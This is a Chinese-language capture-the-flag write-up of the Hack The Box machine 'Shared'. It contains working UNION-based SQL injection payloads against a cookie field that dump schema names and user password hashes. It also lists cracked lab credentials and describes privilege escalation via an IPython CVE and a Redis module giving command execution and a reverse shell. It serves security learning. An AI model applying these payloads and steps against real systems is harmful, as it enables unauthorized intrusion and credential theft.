Hackthebox - Shared

Shared

10.10.11.172

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# Nmap 7.92 scan initiated Fri May 12 08:44:35 2023 as: nmap -e tun0 -sC -sV -oA nmap/default -v 10.10.11.172
Nmap scan report for 10.10.11.172
Host is up (0.29s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 91:e8:35:f4:69:5f:c2:e2:0e:27:46:e2:a6:b6:d8:65 (RSA)
| 256 cf:fc:c4:5d:84:fb:58:0b:be:2d:ad:35:40:9d:c3:51 (ECDSA)
|_ 256 a3:38:6d:75:09:64:ed:70:cf:17:49:9a:dc:12:6d:11 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://shared.htb
| http-methods:
|_ Supported Methods: GET OPTIONS
443/tcp open ssl/http nginx 1.18.0
|_http-title: Did not follow redirect to https://shared.htb
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| ssl-cert: Subject: commonName=*.shared.htb/organizationName=HTB/stateOrProvinceName=None/countryName=US
| Issuer: commonName=*.shared.htb/organizationName=HTB/stateOrProvinceName=None/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-03-20T13:37:14
| Not valid after: 2042-03-15T13:37:14
| MD5: fb0b 4ab4 9ee7 d95d ae43 239a fca4 c59e
|_SHA-1: 6ccd a103 5d29 a441 0aa2 0e32 79c4 83e1 750a d0a0
|_http-server-header: nginx/1.18.0
| tls-alpn:
| h2
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
| h2
|_ http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri May 12 08:46:39 2023 -- 1 IP address (1 host up) scanned in 123.72 seconds

域名

shared.htb
加到 hosts

PrestaShop

版本号

44d54b504c29a8409a92b2c5868f6860.png

PrestaShop 1.7

数据库

8ae260dbdb3715d0969444c340d26a94.png

admin@shared.htb:$2y$10$weantheqSfuC7PO4L/tlKefZ59DBBXR7cz5jixaYKyvv3PlPw0xgS
可以破解一下管理员的 hash,可能是通用密码。
https://www.prestashop.com/forums/topic/1016838-prestashop-176-customer-login-password-encryption/

77e8a4c8a964fa526fd02c91e89185e4.png

看起来是 bcrypt,hashcat要跑好久

配置文件

/app/config/parameters.php

1aa591ed617d7a2a016b7605933ec552.png

Tk#cbND_CWrQ9h 尝试了一下,看起来并不是通用密码。

checkout 旁站

fe15aaa91045d3e21658dfd10e876d14.png

在尝试结算订单时,跳转到了 checkout.shared.htb,添加到 Hosts。

sql 注入

f28da4af862ad3765de64a42bdb02f43.png

cookie 的 custon_cart 存在注入,有回显。
点都找到了,本来还想 sqlmap 一把梭的,结果识别不出来。。
还是手动注吧。

库名

custom_cart={“‘union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23”:”30”}

information_schema,checkout

表名

custom_cart={“‘union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3%23”:”30”}

user,product

列名

custom_cart={“‘union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database()),3%23”:”30”}

id,username,password,id,code,price

user
id,username,password

product
id,code,price

user 数据

id 1
username james_mason
password fc895d4eddc2fc12f995e18c865cf273

这个 hash 可搜到

9c74e0b3b47a5375d5938512fc37a89f.png

fc895d4eddc2fc12f995e18c865cf273:Soleil101

于是有了凭据
james_mason:Soleil101

8621d41075a81b06ae29d9ea987aa3c6.png

成功通过该凭据登录 ssh。

一些凭据信息

james_mason:Soleil101
从 checkout 旁站注入得到

数据库
pshop:Tk#cbND_CWrQ9h
从 prestashop 配置文件中得到

Redis
F2WHqJUz2WEz=Gqq 无用户名
密码从 /usr/local/bin/redis_connector_dev 中逆向得到

linpeas

一些 CVE

f385bbf44e0055c67cd01a7d5a23b276.png

adef4c3a35b070941b61fe7306ade6f0.png

实在没办法了再说吧

cron

4b113436df639e31461bd5889dfac98d.png

cron 有东西

a3ddb7d3a0050d31fa19b89ed465f869.png

没权限,一会 pspy 看看

nginx 配置

7f79a1c7e165c54903000563079d71d7.png

可以看到站点路径,一会去看看源码里面有没有什么敏感的配置。

ipython

这里没有思路了,去看了下 ippsec。才发现没去搜 ipython 的版本和 CVE。

0876d916b95f64475c0044038e0a95a2.png

这里 ipython 的版本是 8.0.0,搜了一下发现 CVE-2022-21699 https://github.com/advisories/GHSA-pq7m-3gw7-gq5x
只要在 ipython 运行的目录可写就可以任意执行代码,所以还要找一下 cron 运行 ipython 的目录。

43488e3f85f4912cbd082cf38118c52a.png

看起来 pspy 不太行,这下不得不试试 linpeas 的进程探测了。在关闭了 fast mode 后,linpeas 给出了答案

1448453bcbfe9ff34ca040225ed2a231.png

/opt/scripts_review 正是 james_mason 用户所在组 developer 的可写目录,那么接下来

5f0bdcde1e7a43fd91f984ff2d24954c.png

拿到了 dan_smith 的 shell,由于这里定时 pkill ipython 进程,shell 不稳定,而且 /home/dan_smith/.ssh 里存了私钥,存下来连 ssh。

c8e8ec74103dd493da7ea70a687c30e0.png

pspy

3c6167f222595a2e8062e22c27fe5289.png

ipython 或许可以入手

组可写目录

e54b447854983bfda9e6e5687e3da79b.png

dan_smith fuzz

adfe7e1df5b6cb190f730d6ea166bb12.png

运行看看

da4fae0143c6086e107857b1e5b7748e.png

输出了一些 redis 的信息

9df9760796a1f71c2a8c039ade04e602.png

golang 写的,下回来逆一下

ab18e221835cdbdbe3d0ffc9d6c45784.png

这里找到的密码 F2WHqJUz2WEz=GqqGC 试了一下,结果不对,要去掉后面的 GC。

7e6463190cf48d899c0a20ed4b8f2904.png

这里其实还有不用的逆向的办法,那就是本地 6379 起一个 nc,然后运行就会把密码吐出来。

c9749f3b5349a9f382fd7589edd83a8a.png

于是密码 F2WHqJUz2WEz=Gqq ,接下来看看 redis。

redis 提权

这里看了一下 hacktricks:https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis
里面有个 redis 的模块可以 rce: https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
试了一下,之前看 Linpeas 机器上面有 gcc。那么上传编译加载模块之后

bcbe1256c4f4128f54b130741ab54681.png

芜!
这个模块还贴心的附带了 shell 反弹功能

bf3e71a368bb1b7f9fdac790dab003fd.png

爱了爱了

后记

最近挺忙的,这台机器断断续续地做了好久。。
Redis 提权那里会对模块的目录有要求,反正 /tmp 目录是会加载失败的。
前面的注入部分容易忽略旁站,陷入对 PrestaShop CVE 利用的 Rabbit Hole。保存了请求再用 Sqlmap 跑也跑不出来,偷懒失败了,union 手动注其实也不慢的,payload 忘了搜就完了。
md5 的还原部分用到了 crackstation.net,验证码但是非常好用,比某 cmd5 强多了。
学到了一些 fuzz 小技巧,比如通过 find / -group xxx 2>/dev/null 来看一些奇怪的用户组到底有什么权限。
以及 pspy 有其局限性,关闭了 fast mode 的 linpeas.sh 可以给出更多有用的信息。